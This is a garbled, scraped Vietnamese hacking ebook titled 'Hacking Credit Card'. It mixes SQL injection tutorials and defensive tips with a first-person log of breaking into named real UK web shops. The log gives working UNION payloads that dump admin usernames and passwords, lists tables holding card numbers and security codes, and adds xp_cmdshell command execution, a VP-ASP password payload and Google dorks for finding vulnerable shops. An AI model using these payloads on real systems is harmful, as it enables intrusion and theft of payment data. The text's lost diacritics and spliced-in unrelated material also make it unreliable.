Tài liệu hướng dẫn SQL injection vietnamese

28 890 0
Tài liệu hướng dẫn SQL injection vietnamese

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

Thông tin tài liệu

Câu 1: Phân tích nguồn gốc, bản chất, chức năng của nhà nước Trả lời : + nguồn gốc của nhà nước: theo quan điểm học thuyết phi Mác Theo quan điểm thần học : thượng đế là người sáng tạo ra nhà nước quyền lực của nhà nước là vĩnh cửu và bất biến.

Author: Hieupc Publisher: TheGioiEbook® Title: Ebook Hacking Credit Card Version (EHCC V3) Language: Vietnamese Contact : hieupc@gmail.com Y!M: hieuitpc Gi i thi u v SQL Injection T N CÔNG KI U SQL INJECTION TÁC H I VÀ PHÒNG TRÁNH Tác gi : Lê ình Duy SQL Injection gì? Khi tri n khai ng d ng web Internet, nhi u ng i v n ngh r ng vi c đ m b o an toàn, b o m t nh m gi m thi u t i đa kh n ng b t n công t tin t c ch đ n thu n t p trung vào v n đ nh ch n h u hành, h qu n tr c s d li u, webserver s ch y ng d ng, mà quên m t r ng c b n thân ng d ng ch y c ng ti m n m t l h ng b o m t r t l n M t s l h ng SQL injection T i Vi t Nam, qua th i kì qu n tr website l vi c quét virus, c p nh t b n vá l i t ph n m m h th ng, nh ng vi c ch m sóc l i c a ng d ng l i r t đ c quan tâm ó lí t i th i gian v a qua, không website t i Vi t Nam b t n công đa s đ u l i SQL injection [1] V y SQL injection ? SQL injection m t k thu t cho phép nh ng k t n công l i d ng l h ng vi c ki m tra d li u nh p ng d ng web thông báo l i c a h qu n tr c s d li u đ "tiêm vào" (inject) thi hành câu l nh SQL b t h p pháp (không đ c ng i phát tri n ng d ng l ng tr c) H u qu c a r t tai h i cho phép nh ng k t n công có th th c hi n thao tác xóa, hi u ch nh, … có toàn quy n c s d li u c a ng d ng, th m chí server mà ng d ng ch y L i th ng x y ng d ng web có d li u đ c qu n lí b ng h qu n tr c s d li u nh SQL Server, MySQL, Oracle, DB2, Sysbase Các d ng t n công b ng SQL Injection Có b n d ng thông th ng bao g m: v t qua ki m tra lúc đ ng nh p (authorization bypass), s d ng câu l n SELECT, s d ng câu l nh INSERT, s d ng stored-procedures [2], [3] 2.1 D ng t n công v t qua ki m tra đ ng nh p V i d ng t n công này, tin t c có th d dàng v t qua trang đ ng nh p nh vào l i dùng câu l nh SQL thao tác c s d li u c a ng d ng web Xét m t ví d n hình, thông th ng đ cho phép ng i dùng truy c p vào trang web đ c b o m t, h th ng th ng xây d ng trang đ ng nh p đ yêu c u ng i dùng nh p thông tin v tên đ ng nh p m t kh u Sau ng i dùng nh p thông tin vào, h th ng s ki m tra tên đ ng nh p m t kh u có h p l hay không đ quy t đ nh cho phép hay t ch i th c hi n ti p Trong tr ng h p này, ng i ta có th dùng hai trang, m t trang HTML đ hi n th form nh p li u m t trang ASP dùng đ x lí thông tin nh p t phía ng i dùng Ví d : login.htm Username: Password: execlogin.asp Tho t nhìn, đo n mã trang execlogin.asp d ng nh không ch a b t c m t l h ng v an toàn Ng i dùng không th đ ng nh p mà tên đ ng nh p m t kh u h p l Tuy nhiên, đo n mã th c s không an toàn ti n đ cho m t l i SQL injection c bi t, ch s h n m ch d li u nh p vào t ng i dùng đ c dùng đ xây d ng tr c ti p câu l nh SQL Chính u cho phép nh ng k t n công có th u n câu truy v n s đ c th c hi n Ví d ,n u ng i dùng nh p chu i sau vào c ô nh p li u username/password c a trang login.htm là: ' OR ' ' = ' ' Lúc này, câu truy v n s đ c g i th c hi n là: SELECT * FROM T_USERS WHERE USR_NAME ='' OR ''='' and USR_PASSWORD= '' OR ''='' Câu truy v n h p l s tr v t t c b n ghi c a T_USERS đo n mã ti p theo x lí ng i dùng đ ng nh p b t h p pháp nh ng i dùng đ ng nh p h p l 2.2 D ng t n công s d ng câu l nh SELECT D ng t n công ph c t p h n th c hi n đ c ki u t n công này, k t n công ph i có kh n ng hi u l i d ng s h thông báo l i t h th ng đ dò tìm m y u kh i đ u cho vi c t n công Xét m t ví d r t th ng g p website v tin t c Thông th ng, s có m t trang nh n ID c a tin c n hi n th r i sau truy v n n i dung c a tin có ID Ví d : http://www.myhost.com/shownews.asp?ID=123 Mã ngu n cho ch c n ng th ng đ c vi t đ n gi n theo d ng Trong tình hu ng thông th ng, đo n mã hi n th n i dung c a tin có ID trùng v i ID ch đ nh h u nh không th y có l i Tuy nhiên, gi ng nh ví d đ ng nh p tr c, đo n mã đ l s h cho m t l i SQL injection khác K t n công có th thay th m t ID h p l b ng cách gán ID cho m t giá tr khác, t đó, kh i đ u cho m t cu c t n công b t h p pháp, ví d nh : OR 1=1 (ngh a là, http://www.myhost.com/shownews.asp?ID=0 or 1=1) Câu truy v n SQL lúc s tr v t t c article t b ng d li u s th c hi n câu l nh: SELECT * FROM T_NEWS WHERE NEWS_ID=0 or 1=1 M t tr ng h p khác, ví d nh trang tìm ki m Trang cho phép ng thông tin tìm ki m nh H , Tên, … o n mã th ng g p là: i dùng nh p vào T ng t nh trên, tin t c có th l i d ng s h câu truy v n SQL đ nh p vào tr tên tác gi b ng chu i giá tr : ' UNION SELECT ALL SELECT OtherField FROM OtherTable WHERE ' '=' (*) ng Lúc này, câu truy v n đ u không thành công, ch ng trình s th c hi n thêm l nh ti p theo sau t khóa UNION n a T t nhiên ví d nói trên, d ng nh nguy hi m, nh ng th t ng t ng k t n công có th xóa toàn b c s d li u b ng cách chèn vào đo n l nh nguy hi m nh l nh DROP TABLE Ví d nh : ' DROP TABLE T_AUTHORS Ch c b n s th c m c bi t đ c ng d ng web b l i d ng đ c R t đ n gi n, nh p vào chu i (*) nh trên, n u h th ng báo l i v cú pháp d ng: Invalid object name “OtherTable”; ta có th bi t ch c h th ng th c hi n câu SELECT sau t khóa UNION, nh v y m i có th tr v l i mà ta c tình t o câu l nh SELECT C ng s có th c m c làm th có th bi t đ c tên c a b ng d li u mà th c hi n thao tác phá ho i ng d ng web b l i SQL injection C ng r t đ n gi n, b i SQL Server, có hai đ i t ng sysobjects syscolumns cho phép li t kê t t c tên b ng c t có h th ng Ta ch c n ch nh l i câu l nh SELECT, ví d nh : ' UNION SELECT name FROM sysobjects WHERE xtype = 'U' có th li t kê đ c tên t t c b ng d li u 2.3 D ng t n công s d ng câu l nh INSERT Thông th ng ng d ng web cho phép ng i dùng đ ng kí m t tài kho n đ tham gia Ch c n ng không th thi u sau đ ng kí thành công, ng i dùng có th xem hi u ch nh thông tin c a SQL injection có th đ c dùng h th ng không ki m tra tính h p l c a thông tin nh p vào Ví d , m t câu l nh INSERT có th có cú pháp d ng: INSERT INTO TableName VALUES('Value One', 'Value Two', 'Value Three') N u đo n mã xây d ng câu l nh SQL có d ng : Thì ch c ch n s b l i SQL injection, b i n u ta nh p vào tr ng th nh t ví d nh : ' + (SELECT TOP FieldName FROM TableName) + ' Lúc câu truy v n s là: INSERT INTO TableName VALUES(' ' + (SELECT TOP FieldName FROM TableName) + ' ', 'abc', 'def') Khi đó, lúc th c hi n l nh xem thông tin, xem nh b n yêu c u th c hi n thêm m t l nh n a là: SELECT TOP FieldName FROM TableName 2.4 D ng t n công s d ng stored-procedures Vi c t n công b ng stored-procedures s gây tác h i r t l n n u ng d ng đ c th c thi v i quy n qu n tr h th ng 'sa' Ví d , n u ta thay đo n mã tiêm vào d ng: ' ; EXEC xp_cmdshell ‘cmd.exe dir C: ' Lúc phá h th ng s th c hi n l nh li t kê th m c đ a C:\ cài đ t server Vi c ho i ki u tu thu c vào câu l nh đ ng sau cmd.exe Cách phòng tránh Nh v y, có th th y l i SQL injection khai thác nh ng b t c n c a l p trình viên phát tri n ng d ng web x lí d li u nh p vào đ xây d ng câu l nh SQL Tác h i t l i SQL injection tùy thu c vào môi tr ng cách c u hình h th ng N u ng d ng s d ng quy n dbo (quy n c a ng i s h u c s d li u - owner) thao tác d li u, có th xóa toàn b b ng d li u, t o b ng d li u m i, … N u ng d ng s d ng quy n sa (quy n qu n tr h th ng), có th u n toàn b h qu n tr c s d li u v i quy n h n r ng l n nh v y có th t o tài kho n ng i dùng b t h p pháp đ u n h th ng c a b n phòng tránh, ta có th th c hi n hai m c: 3.1 Ki m soát ch t ch d li u nh p vào phòng tránh nguy c có th x y ra, b o v câu l nh SQL b ng cách ki m soát ch t ch t t c d li u nh p nh n đ c t đ i t ng Request (Request, Request.QueryString, Request.Form, Request.Cookies, and Request.ServerVariables) Ví d , có th gi i h n chi u dài c a chu i nh p li u, ho c xây d ng hàm EscapeQuotes đ thay th d u nháy đ n b ng d u nháy đ n nh : Trong tr ng h p d li u nh p vào s , l i xu t phát t vi c thay th m t giá tr đ c tiên đoán d li u s b ng chu i ch a câu l nh SQL b t h p pháp tránh u này, đ n gi n ki m tra d li u có ki u hay không b ng hàm IsNumeric() Ngoài có th xây d ng hàm lo i b m t s kí t t khóa nguy hi m nh : ;, , select, insert, xp_, … kh i chu i d li u nh p t phía ng i dùng đ h n 3.2 Thi t l p c u hình an toàn cho h qu n tr c s d li u C n có c ch ki m soát ch t ch gi i h n quy n x lí d li u đ n tài kho n ng i dùng mà ng d ng web s d ng Các ng d ng thông th ng nên tránh dùng đ n quy n nh dbo hay sa Quy n b h n ch , thi t h i Ngoài đ tránh nguy c t SQL Injection attack, nên ý lo i b b t kì thông tin k thu t ch a thông p chuy n xu ng cho ng i dùng ng d ng có l i Các thông báo l i thông th ng ti t l chi ti t k thu t có th cho phép k t n công bi t đ c m y u c a h th ng S u t m Internet t t vi t nguyên thu "SQL đ c d ch s a đ i Injection Walkthrough" c a http://www.xfocus.net/ SQL Injection gì? SQL Injection m t nh ng ki u hack web d n tr nên ph bi n hi n B ng cách inject mã SQL query/command vào input tr c chuy n cho ng d ng web x lí, b n có th login mà không c n username password, remote execution, dump data l y root c a SQL server Công c dùng đ t n công m t trình t web b t kì, ch ng h n nh Internet Explorer, Netscape, Lynx, Tìm ki m m c tiêu Có th tìm trang web cho phép submit d li u b t kì m t trình tìm ki m m ng, ch ng h n nh trang login, search, feedback, Ví d : http://yoursite.com/index.asp?id=10 M t s trang web chuy n tham s qua field n, ph i xem mã HTML m i th y rõ Ví d nh d i Ki m tra ch y u c a trang web Th submit field username, password ho c field id, b ng hi' or 1=1-• • • Login: hi' or 1=1-Password: hi' or 1=1-http://yoursite.com/index.asp?id=hi' or 1=1 N u site chuy n tham s qua field n, download source HTML, l u đ a c ng thay đ i l i URL cho phù h p Ví d : N u thành công, có th login vào mà không c n ph i bi t username password T i ' or 1=1 có th v nh p? t qua ph n ki m tra đ ng Gi s nh có m t trang ASP liên k t đ n m t ASP trang khác v i URL nh sau: http://yoursite.com/index.asp?category=food Trong URL trên, bi n 'category' đ nh sau (đây ch ví d thôi): c gán giá tr 'food' Mã ASP c a trang có th v_cat = request("category") sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'" set rs=conn.execute(sqlstr) v_cat s ch a giá tr c a bi n request("category") 'food' câu l nh SQL ti p theo s là: SELECT * FROM product WHERE PCategory='food' Dòng query s tr v m t t p resultset ch a m t ho c nhi u dòng phù h p v i u ki n WHERE PCategory='food' N u thay đ i URL thành http://yoursite.com/index.asp?category=food' or 1=1 , bi n v_cat s ch a giá tr "food' or 1=1 " dòng l nh SQL query s là: SELECT * FROM product WHERE PCategory='food' or 1=1 ' Dòng query s select m i th b ng product b t ch p giá tr c a tr ng PCategory có b ng 'food' hay không Hai d u g ch ngang ( ) ch cho MS SQL server bi t h t dòng query, m i th l i sau " " s b b qua i v i MySQL, thay " " thành "#" Ngoài ra, c ng có th th cách khác b ng cách submit ' or 'a'='a Dòng SQL query bây gi s là: SELECT * FROM product WHERE PCategory='food' or 'a'='a' M t s lo i d li u khác mà c ng nên th submit đ bi t xem trang web có g p l i hay không: ' or 1=1-" or 1=1-or 1=1-' or 'a'='a " or "a"="a ') or ('a'='a Thi hành l nh t xa b ng SQL Injection N u cài đ t v i ch đ m c đ nh mà u ch nh gì, MS SQL Server s ch y m c SYSTEM, t ng đ ng v i m c truy c p Administrator Windows Có th dùng store procedure xp_cmdshell CSDL master đ thi hành l nh t xa: '; exec master xp_cmdshell 'ping 10.10.1.2' Hãy th dùng d u nháy đôi (") n u d u nháy đ n (') không làm vi c D u ch m ph y (s k t thúc dòng SQL query hi n t i cho phép thi hành m t SQL command m i ki m tra xem l nh có đ c thi hành hay không, có th listen ICMP packet t 10.10.1.2 b ng tcpdump nh sau: #tcpdump icmp N u nh n đ c ping request t 10.10.1.2 ngh a l nh đ c thi hành Nh n output c a SQL query Có th dùng sp_makewebtask đ ghi output c a SQL query m t file HTML '; EXEC master sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES" Chú ý: folder "share" ph i đ c share cho Everyone tr c Nh n d li u qua 'database using ODBC error message' Các thông báo l i c a MS SQL Server th ng đ a cho b n nh ng thông tin quan tr ng L y ví d http://yoursite.com/index.asp?id=10, bây gi th h p nh t integer '10' v i m t string khác l y t CSDL: http://yoursite.com/index.asp?id=10 UNION SELECT TOP TABLE_NAME FROM INFORMATION_SCHEMA.TABLES B ng INFORMATION_SCHEMA.TABLES c a h th ng SQL Server ch a thông tin v t t c b ng (table) có server Tr ng TABLE_NAME ch a tên c a m i b ng CSDL Chúng ta ch n b i bi t r ng t n t i Query c a là: SELECT TOP TABLE_NAME FROM INFORMATION_SCHEMA.TABLES Dòng query s tr v tên c a b ng đ u tiên CSDL Và ngh a bây gi ta c ng có th login vào v i username 'trinity' password '31173' 11 Thay đ i d li u (Update/Insert) c a CSDL Khi có tên c a t t c column table, có th s d ng statement UPDATE ho c INSERT đ s a đ i/t o m i m t record vào table thay đ i password c a "neo", có th làm nh sau: http://yoursite.com/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo' Ho c n u b n mu n m t record m i vào table: http://yoursite.com/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA') Và bây gi có th login vào v i username "neo2" password "newpas5" 12 Ng n ch n SQL Injection Hãy lo i b kí t meta nh '"/\; kí t extend nh NULL, CR, LF, string nh n đ c t : • • • input ng i dùng đ trình tham s t URL giá tr t cookie i v i giá tr numeric, chuy n sang integer tr ISNUMERIC đ ch c ch n m t s integer c query SQL, ho c dùng Thay đ i "Startup and run SQL Server" dùng m c low privilege user tab SQL Server Security Xóa stored procedure database master mà không dùng nh : • • • • xp_cmdshell xp_startmail xp_sendmail sp_makewebtask 13 Ng n ch n SQL Injection ASP.NET Các cách th c ng n ch n SQL Injection đ c trình bày ph n 12 bao quát đ ph ng pháp, nh ng ASP.NET có cách ng n ch n đ n gi n s d ng Parameters làm vi c v i object SqlCommand (ho c OleDbCommand) ch không s d ng câu l nh SQL tr c ti p Khi NET s t đ ng validate ki u d li u, n i dung d li u tr c th c hi n câu l nh SQL Ngoài ra, c ng c n ki m soát t t thông báo l i Và m c đ nh ASP.NET thông báo l i s không đ c thông báo chi ti t không ch y localhost Các t khóa SQL Ngu n: http://vi.wikipedia.org/w T khóa SQL chia thành nhi u nhóm: L yd li u Thao tác s d ng nhi u nh t m t c s d li u d a giao d ch thao tác l y d li u • SELECT đ c s d ng đ l y d li u t m t ho c nhi u b ng c s d li u, SELECT l nh th ng dùng nh t c a ngôn ng s a đ i d li u (t m d ch) (ti ng Anh: Data Manipulation Language - DML) Trong vi c t o câu truy v n SELECT, ng i s d ng ph i đ a mô t cho nh ng d li u mu n l y ch không ch nh ng hành đ ng v t lý b t bu c ph i th c hi n đ l y k t qu H th ng c s d li u, hay xác h n b t i u hóa câu truy v n s d ch t câu truy v n sang k ho ch truy v n t i u • o Nh ng t khóa liên quan t i SELECT bao g m: ̇ FROM dùng đ ch đ nh d li u s đ c l y t nh ng b ng nào, b ng quan h v i nh th ̇ WHERE dùng đ xác đ nh nh ng b n ghi s đ c l y ra, ho c áp d ng v i GROUP BY ̇ GROUP BY dùng đ k t h p b n ghi có nh ng giá tr liên quan v i thành ph n t c a m t t p h p nh h n b n ghi ̇ HAVING dùng đ xác đ nh nh ng b n ghi nào, k t qu t t khóa GROUP BY, s đ c l y ̇ ORDER BY dùng đ xác đ nh d li u l y s đ c s p x p theo nh ng c t S a đ i d li u Ngôn ng s a đ i d li u (Data Manipulation Language - DML), môt ph n nh c a ngôn ng , có nh ng thành ph n tiêu chu n dùng đ thêm, c p nh t xóa d li u delete data • • • • • INSERT dùng đ thêm d li u vào m t b ng t n t i UPDATE dùng đ thay đ i giá tr c a m t t p h p b n ghi m t b ng MERGE dùng đ k t h p d li u c a nhi u b ng Nó đ c dùng nh vi c k t h p gi a hai ph n t INSERT UPDATE DELETE xóa nh ng b n ghi t n t i m t b ng TRUNCATE Xóa toàn b d li u m t b ng (không ph i tiêu chu n, nh ng m t l nh SQL ph bi n) Giao d ch d li u Giao d ch, n u có, dùng đ bao b c thao tác s a đ i d li u • • • BEGIN WORK (ho c START TRANSACTION, tùy theo ngôn ng SQL khác nhau) đ c s d ng đ đánh d u vi c b t đ u m t giao d ch d li u (giao d ch d li u có k t thúc hoàn toàn hay không) COMMIT dùng đ l u l i nh ng thay đ i giao d ch ROLLBACK dùng đ quay l i th i m s d ng l nh COMMIT cu i Exploit Ebox Shopping Cart (SQL Injection) (Có phiên b n đ c trình bày b ng hình nh) Tác gi : hieupc Có th nói đáng ý nh t Ebook này, l i v a mang tính c n v a mang tính t c ng v i s tìm tòi, may m n, c kinh nghi m Gi i thi u s v Ebox: Ebox m t shop s d ng MS SQL Server ASP, đ gi ng v i Shopping Cart khác: VPASP, X-Cart… c xem 11 h 00: Tình c hieupc đ c m t ng i b n nh exploit th shop b m c l i nghiêm tr ng SQL Injection Và lúc đ u có ph n h i khó kh n ch a n m rõ đ c shop c u trúc Database Table nh th 11 h 15: Sau m t h i search google , hieupc tìm đ c nhi u trang c a lo i Shop Ebox này, m c tiêu c a hieupc exploit shop : http://www.cookes.co.uk , nh ng không bi t table c a th đành ph i tìm m t shop Ebox t ng t khác nh ng có th exploit table hieupc tìm đ c shop : http://www.fotosense.co.uk 11 h 45: Vi c exploit table column di n lâu (Xem EHCC V1 V2), cu i c ng l y đ c nh ng thông tin c n thíêt cho m c tiêu ban đ u, đem qua exploit shop http://www.cookes.co.uk 'tblBundle','Admin','affiliates','Commission','dtproperties','errorlog','Hits','sysconstraints',' syssegments','tblAdminUser','tblAdverts','tblCategory','tblCheckout','tblCheckoutEbox',' tblConfirmation','tblHelp','tblLayout','tblManufacturer','tblMeta','tblNews','tblNewsLetter' ,'tblOrder','tblOrder_Temp','tblOrders','tblOrderStatus','tblPages','tblPostage','tblPost ageChoice','tblProducts','tblProducts_Temp','tblSatus','tblStandardText','tblSubCat','tblSu bMan','tblTime','tblTop10','tblUsers','wapman' c bi t nên ý đ n table đ có th không quan tâm c tô đ m màu đ trên, m y table khác ta 12 h 00: Mu n cho vi c exploit đ c nhanh chóng hieupc ch c n l y username password Admin c a Shop Ebox đ Còn b n n u mu n l y t ng thông tin riêng có th exploit table : 'tblUsers' 'tblOrders' … đ l y đ c thông tin c n 'tblUsers' : 'userID','userDate','userUserName','userPassword','userRealName','userSurname','userStat ementStreet1','userStatementStreet2','userStatementTown','userStatementCounty','userSta tementPostcode','userDeliveryAddress','userDeliveryPostcode','userTelephone','userFax',' userMobile','userNewsletterSubscribe','orderBundleDetails','sageimported','usercode' 'tblOrders': 'ID','orderID','orderUserID','orderCardType','orderCardNumber','orderCardNameonCard',' orderCardStartMonth','orderCardStartYear','orderCardExpiryMonth','orderCardExpiryYe ar','orderIssueNumber','orderSecurityCode','orderDate','orderComments','orderStatus' 12 h 15: Ban đ u hieupc c ng table: 'Admin' c n đ c khai thác đ l y thông tin c a username password nh ng thông tin không ph i c a Admin, hieupc c ng th login nh ng th t b i ('ID','Password','URL','Email','Fixedrate','Percentrate','Percentage','Minimum') 12 h 30: Sau hieupc chuy n sang exploit table : 'tblAdminUser' , thu đ c c ng nhi u comlun khác, ch c ch n s ch a Username Password c a Admin, hieupc th login thành công nh mong mu n 'tblAdminUser' 'userID','adminUsername','adminPassword','adminEmail','adminHide' 12 h 45: Cu i hieupc c ng có đ c username password đ login vào Administration Shop c a http://www.cookes.co.uk, ch b ng m i tiêm đ n gi n mà hi u qu , ho c ta ch c n dùng m t m i tiêm mà có t i lo i thu c ('adminUsername' , 'adminPassword') nhiên không khuy n khích dùng lo i l y Username: %20union%20%20select%201,2,adminUsername,4,5,6,7,8,9,10,11,12,13%20from%20tb lAdminUser%22having%201=1 sp_password l y Password: %20union%20%20select%201,2,adminPassword,4,5,6,7,8,9,10,11,12,13%20from%20tbl AdminUser%22having%201=1 sp_password Vi c tìm link c a shop đ n gi n: http://www.cookes.co.uk/admin h 00: Ngoài có nhi u cách khác đ l y đ c thông tin ta c n nh Exploit: Update Email, Insert User… đ th c hi n nh ng câu l nh b n ph i bi t làm c n nh ng (Xem h ng d n s d ng nh ng câu l nh SQL ph n c a Ebook này) h 15: bi t đ c câu l nh vi t này, b n c n xem l i Ebook Hacking Credit Card version version Trong vi t hieupc h n ch vi c đ a câu l nh truy v n hieupc không mu n l p l p l i nh ng th đ c nh c nh c l i nhi u l n Ebook Hacking Credit Card version 1, version c nh ng di n đàn tin h c khác Chúc vui h 30: L u ý: Nh v y vi c exploit Shop Ebox di n lâu có ph n h i ph c t p Tuy nhiên hieupc ch d ng l i vi c login không view b t c m t orders c a shop c Hy v ng b n s hi u đ c u nói Nó ch góp ph n c ng c thêm ki n th c c a b n đ ng nên qu y phá hay th ng m i hoá nh ng th mà b n hack đ c hay exploit mà có Và c ng đ ng mãn nguy n nh ng có, c g ng c g ng Và đ ng qúa ham mê vi tính, cho dù s thích c a b n, dành th i gian cho gia đình b n bè, cu c s ng r t vui ch đón b n, đ ng ch t già ch t mòn bên máy tính c a b n Hãy s ng v i ý ngh a c a cu c s ng C m Thêm: Exploit Pass VPASP h 45: u tiên ph i nói u hieupc đ c b n h i nhi u nh t, hieupc đ u tr l i : “không bi t” hay “các b n t tìm tòi, tìm hi u, nghiên c u th xem…”, th c ch t r t d n u nh b n ch u nghiên c u nh Và m t u n a, đáng l hieupc đ a vi t vào “Ebook Hacking Credit Card Version 2”, nh ng th y b n không ch u khó tí nào, ch toàn ph thu c hieupc th y nãn l m, ch đ a có giá tr khác đ làm phong phú thêm n i dung c a “Ebook Hacking Credit Card Version 2” h 50: ây câu l nh b n c n đ Exploit Pass VPASP, gi ng nh l y username password, ch có khác chút Khi có đ c username password b n thay table đ c tô màu đ vào có password number two: union select fieldname='xadminpage' ,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,fieldvalue,2 8,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47 from configuration' Cái không c n gi i thích thêm, b i gi ng nh cách exploit username password Ngoài b n có th th b ng câu l nh truy v n này: shopexd.asp?id=1%20union%20select% 201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,fieldvalu e,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47%20from%20configuratio n%20where%%20fieldname='xadminpage' Các b n th y ch a th t d , ch t i b n không ch u nghiên c u, “hãy nghiên c u u b n mu n bi t th t k hi u th u tr c h i, s r t t t cho b n” Hieupc nói có nói đ c lòng tr c, m t lòng sau mong b n hi u L i SQL Injection Oracle có th nâng quy n Tài kho n Chuyên viên phân tích : Ngô B o Di p Thông tin chung N u k t n công có m t tài kho n ng i dùng bình th ng Oracle, h n có th th c hi n m t s câu l nh đánh vào m y u c a Oracle hai phiên b n 8i 9i, nh m m c đích nâng quy n truy nh p tài kho n lên m c qu n tr T đây, h n có toàn quy n v i h qu n tr c s d li u Ph n m m b m y u Ngày phát hi n 12/2005 • • T h T h tc tc phiên b n Oracle Database 8i m i u hành phiên b n Oracle Database 9i m i u hành M c đ nguy hi m Nguy Hi m Mô t k thu t Trong C s d li u Oracle, ng i dùng đ c chia thành nhóm quy n : nhóm Privileged nhóm Object Ng i dùng thu c nhóm Privileged có toàn quy n v i CSDL nh t o User m i, thay đ i quy n User khác, thay đ i d li u, thay đ i thông s c u hình CSDL, thay đ i file log, xem tình tr ng ti n trình c a CSDL v.v Chú ý r ng m t Oracle Database Server có th có nhi u CSDL SYSDBA có toàn quy n đ i v i t t c CSDL User thu c nhóm Object ch có nh ng quy n nh t đ nh (do Privileged User c p) đ i v i CSDL Nh ng User thu c nhóm Privileged g i có quy n SYSDBA Nhóm Object bao g m nh ng Account h n ch , quy n SYSDBA CTXSYS.DRILOAD m t package nh CTXSYS Schema Trong package có t n t i hàm th t c b l i SQL Injection Khai thác l h ng m t account bình th ng có th tr thành m t account v i quy n SYSDBA qu n tr Database server L i SQL Injection CTXSYS.DRILOAD có đ c m nh sau: • • B khai thác b i nh ng ng ch c n quy n bình th R t d khai thác i dùng có account truy nh p t i c s d li u Account ng, không c n quy n SYSDBA M c đ nh m i account đ u có quy n EXECUTE gói CTXSYS.DRILOAD Do m t account bình th ng ch c n đ ng nh p vào th c hi n m t câu l nh nguy hi m, l p t c tài kho n tr thành SYSDBA có toàn quy n đ i v i m i CSDL Oracle Database Server Khai thác l h ng Chúng ti n hành khai thác l h ng Máy ch có cài đ t Oracle Database 8i 9i K thu t viên c a chúng tôi, đ ng nh p Máy ch v i tài kho n ng i dùng bình th ng có m c đ nh cài Oracle Sau th c hi n câu l nh đánh vào m y u c a hai phiên b n trên, hình xu t hi n thông báo : ERROR at line 1: ORA-06510: PL/SQL: unhandled user-defined exception ORA-06512: at "CTXSYS.DRILOAD", line 42 ORA-01003: no statement parsed ORA-06512: at line Tuy nhiên, tài kho n đ d li u c nâng quy n lên SYSDBA có toàn quy n v i Máy ch c s Gi i pháp phòng ch ng Oracle vá l i b n vá l i Critical Patch Update tháng (CPU October 2005) Tuy nhiên ch có t ch c, cá nhân mua s n ph m c a Oracle m i có th download đ c b n vá l i download, vào trang http://www.metalink.oracle.com/ , sau vào tab Patches Ng i dùng download b n patch theo h ng d n c a tài li u Metalink có ID 281189.1 Ngoài ra, đ a l i khuyên v i qu n tr Oracle Database Server, b n có th t b t l h ng b ng cách b quy n Execute CTXSYS.DRILOAD C th b c nh sau: • • Vào SQL*plus login v i tài kho n qu n tr Th c hi n l nh sau: REVOKE EXECUTE ON CTXSYS.DRILOAD FROM PUBLIC FORCE; Nh ng cú pháp tìm ki m nâng cao v i Google Giúp cho vi c tìm shop l i đ t hi u qua cao D i th o lu n v nh ng l nh đ c bi t c a Google s gi i thích t ng l nh m t cách ng n g n nói rõ đ c s d ng nh th đ tìm ki m thông tin [ intitle: ] Cú pháp “intitle:” giúp Google gi i h n k t qu tìm ki m v nh ng trang có ch a t tiêu đ Ví d , “intitle: login password” (không có ngo c kép) s cho k t qu nh ng link đ n nh ng trang có t "login" tiêu đ , t "password" n m trang T ng t , n u ta mu n truy v n nhi u h n m t t tiêu đ c a trang ta có th dùng “allintitle:” thay cho “intitle” đ có k t qu nh ng trang có ch a t t c nh ng t tiêu đ Ví d nh dùng “intitle: login intitle: password” c ng gi ng nh truy v n “allintitle: login password” [ inurl: ] Cú pháp “inurl:” gi i h n k t qu tìm ki m v nh ng đ a ch URL có ch a t khóa tìm ki m Ví d : “inurl: passwd” (không có ngo c kép) s cho k t qu nh ng link đ n nh ng trang có t "passwd" URL T ng t , n u ta mu n truy v n nhi u h n m t t URL ta có th dùng “allinurl:” thay cho “inurl” đ đ c k t qu nh ng URL ch a t t c nh ng t khóa tìm ki m.Ví d : “allinurl: etc/passwd“ s tìm ki m nh ng URL có ch a “etc” “passwd” Ký hi u g ch chéo (“/”) gi a t s b Google b qua [ site: ] Cú pháp “site:” gi i h n Google ch truy v n nh ng t khóa xác đ nh m t site ho c tên mi n riêng bi t Ví d : “exploits site:hackingspirits.com” (không có ngo c kép) s tìm ki m t khóa “exploits” nh ng trang hi n có t t c link c a tên mi n “hackingspirits.com” Không có kho ng tr ng gi a “site:” “tên mi n” [ filetype: ] Cú pháp “filetype:” gi i h n Google ch tìm ki m nh ng files internet có ph n m r ng riêng bi t (Ví d : doc, pdf hay ppt v.v ) Ví d : “filetype:doc site:gov confidential” (không có ngo c kép) s tìm ki m nh ng file có ph n m r ng “.doc” t t c nh ng tên mi n c a ph có ph n m r ng “.gov” ch a t “confidential”(bí m t) trang ho c file “.doc” Ví d K t qu s bao g m nh ng liên k t đ n t t c file v n b n bí site c a ph [ link: ] Cú pháp “link:” s li t kê nh ng trang web mà có liên k t đ n đ n nh ng trang web ch đ nh Ví d : chu i “link:www.securityfocus.com” s li t kê nh ng trang web có liên k t tr đ n trang ch SecurityFocus Chú ý kho ng tr ng gi a "link:" URL c a trang Web [ related: ] Cú pháp “related:” s li t kê trang Web "t ng t " v i trang Web ch đ nh Ví d : “related:www.securityfocus.com” s li t kê trang web t ng t v i trang ch Securityfocus Nh r ng kho ng tr ng gi a "related:" URL c a trang Web [ cache: ] Truy v n “cache:” s cho k t qu phiên b n c a trang Web mà mà Google l u l i Ví d : “cache:www.hackingspirits.com” s cho trang l u l i b i Google's Nh r ng kho ng tr ng gi a "cache:" URL c a trang web N u b n bao g m nh ng t khác truy v n, Google s m sáng nh ng t v n b n đ c l u l i Ví d : “cache:www.hackingspirits.com guest” s cho v n b n đ c l u l i có t "guest" đ c m sáng [ intext: ] Cú pháp “intext:” tìm ki m t m t website riêng bi t Nó ph t l liên k t ho c URL tiêu đ c a trang Ví d : “intext:exploits” (không có ngo c kép) s cho k t qu nh ng liên k t đ n nh ng trang web có t khóa tìm ki m "exploits" trang c a [ phonebook: ] “phonebook” tìm ki m thông tin v đ a ch đ ng ph M s n tho i Ví d : 